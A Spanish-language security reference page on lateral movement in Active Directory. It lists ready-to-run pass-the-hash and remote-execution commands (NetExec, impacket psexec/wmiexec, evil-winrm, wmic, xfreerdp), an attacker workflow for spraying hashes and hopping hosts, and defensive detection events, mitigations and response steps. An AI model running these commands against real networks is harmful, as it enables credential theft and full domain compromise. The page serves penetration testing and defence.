Saltearse al contenido

Movimiento lateral

El movimiento lateral es saltar de un host comprometido a otro dentro del dominio, reutilizando credenciales (contraseñas, hashes NT, tickets Kerberos) hasta llegar a donde interesa: un DC, un servidor de ficheros, la estación de un admin. En AD casi nunca hace falta un exploit: con credenciales válidas y el protocolo de administración adecuado (SMB, WinRM, WMI, RDP), Windows te deja ejecutar código remoto como si fueras un administrador legítimo. La clave es que las mismas credenciales suelen valer en muchas máquinas.

AD está diseñado para la administración remota centralizada, así que ejecutar comandos en otra máquina con credenciales válidas es funcionalidad, no bug. El atacante hereda esa potencia: un hash robado en el host A abre el host B donde esa cuenta es admin local. El problema de fondo es la reutilización de credenciales (mismo admin local en todos lados, admins de dominio con sesión en estaciones) y la falta de segmentación.

Con el hash NT de un admin, autenticas por NTLM sin conocer la contraseña:

nxc smb <rango> -u Administrator -H <NThash> --local-auth # ¿dónde es admin?
psexec.py -hashes :<NThash> dominio/Administrator@<host>
wmiexec.py -hashes :<NThash> dominio/Administrator@<host>

Con un TGT/TGS robado o forjado desde un hash (ver Ataques Kerberos), autenticas por Kerberos. Útil cuando NTLM está restringido.

Las “-exec” de impacket (métodos de ejecución)

Sección titulada «Las “-exec” de impacket (métodos de ejecución)»
psexec.py dominio/user:pass@host # crea servicio -> SYSTEM, ruidoso
smbexec.py dominio/user:pass@host # similar, semi-interactivo
wmiexec.py dominio/user:pass@host # vía WMI, más sigiloso (sin servicio)
atexec.py dominio/user:pass@host # vía tareas programadas
dcomexec.py dominio/user:pass@host # vía DCOM

WinRM / PowerShell Remoting (puerto 5985/5986)

Sección titulada «WinRM / PowerShell Remoting (puerto 5985/5986)»
evil-winrm -i <host> -u user -p pass
evil-winrm -i <host> -u user -H <NThash>
# nativo: Enter-PSSession / Invoke-Command -ComputerName
# WMI
wmic /node:<host> /user:dominio\user /password:pass process call create "cmd /c ..."
# RDP con hash (si Restricted Admin está activo)
xfreerdp /v:<host> /u:Administrator /pth:<NThash>
  1. Volcar credenciales en el host actual (Volcado de credenciales).
  2. Spray de admin local: nxc smb <rango> -u X -H <hash> → marca dónde Pwn3d!.
  3. Ejecutar en el siguiente host, volcar credenciales ahí, repetir.
  4. Buscar sesiones de usuarios privilegiados (BloodHound HasSession) → robar sus credenciales donde estén.
  • NetExec (nxc) — spray de credenciales + ejecución (SMB/WinRM/WMI/MSSQL/RDP) a escala.
  • impacket (psexec/wmiexec/smbexec/atexec/dcomexec) — ejecución remota multi-método.
  • evil-winrm — shell WinRM cómoda (soporta hash y cert).
  • mimikatz/Rubeus — PtH/PtT; BloodHound — dónde reutilizar y qué sesiones robar.

Propagación por toda la red hasta el DC. El movimiento lateral es lo que convierte un único host comprometido en control del dominio; combinado con volcado de credenciales en cada salto, el avance es exponencial.

  • psexec/smbexec: creación de servicios remotos (7045), escritura de binarios en ADMIN$, named pipes característicos.
  • wmiexec: wmiprvse.exe lanzando cmd.exe; WinRM: wsmprovhost.exe como padre anómalo.
  • Logons type 3 (red) con la misma cuenta contra muchos hosts en poco tiempo; type 9 (overpass/PtH) con seclogo.
  • Pass-the-Hash: logon NTLM con cuenta que normalmente usa Kerberos.

4624 (logon con tipo), 4648 (credenciales explícitas), 5140/5145 (acceso a shares ADMIN$/C$), 7045 (servicios), Sysmon 1/3, y logs de WinRM/WMI. Correlaciona “una cuenta, muchos destinos”.

  • LAPS: contraseña de admin local única por host → un hash robado no abre toda la red (mata el PtH masivo).
  • Deshabilita admin local remoto (UAC remote restrictions / LocalAccountTokenFilterPolicy) y cuentas locales en red (Deny network logon para locales).
  • Tiering/PAW y Protected Users: que los DA no dejen credenciales en estaciones; segmentación de red y firewall host-based (bloquear SMB/WinRM lateral entre estaciones).
  • Credential Guard, deshabilitar WDigest, monitorizar creación de servicios remotos.

Identifica la cadena de saltos (misma cuenta/origen), aísla los hosts tocados, rota las credenciales reutilizadas (admin local con LAPS, cuentas de dominio comprometidas), y busca persistencia dejada en cada salto.

  • PtH/PtT y las “-exec” son TTPs omnipresentes (MITRE T1021, T1550.002 PtH, T1550.003 PtT, T1570).
  • NotPetya (2017) se propagó combinando mimikatz (robo de credenciales) + PsExec/WMI (lateral) — caso canónico de daño masivo.
  • Conti, Ryuk, LockBit documentan nxc/impacket + PtH como su método estándar de propagación hacia el DC.
  • Volcar credenciales en el host actual (hashes/tickets)
  • Spray de admin local con el hash → ¿dónde Pwn3d!?
  • PtH vía psexec/wmiexec/smbexec al siguiente host
  • WinRM (evil-winrm) con contraseña o hash
  • Pass-the-ticket / overpass-the-hash donde NTLM esté restringido
  • Sesiones de usuarios privilegiados a robar (BloodHound HasSession)
  • RDP con hash (Restricted Admin)
  • Blue: ¿LAPS y segmentación frenan la reutilización?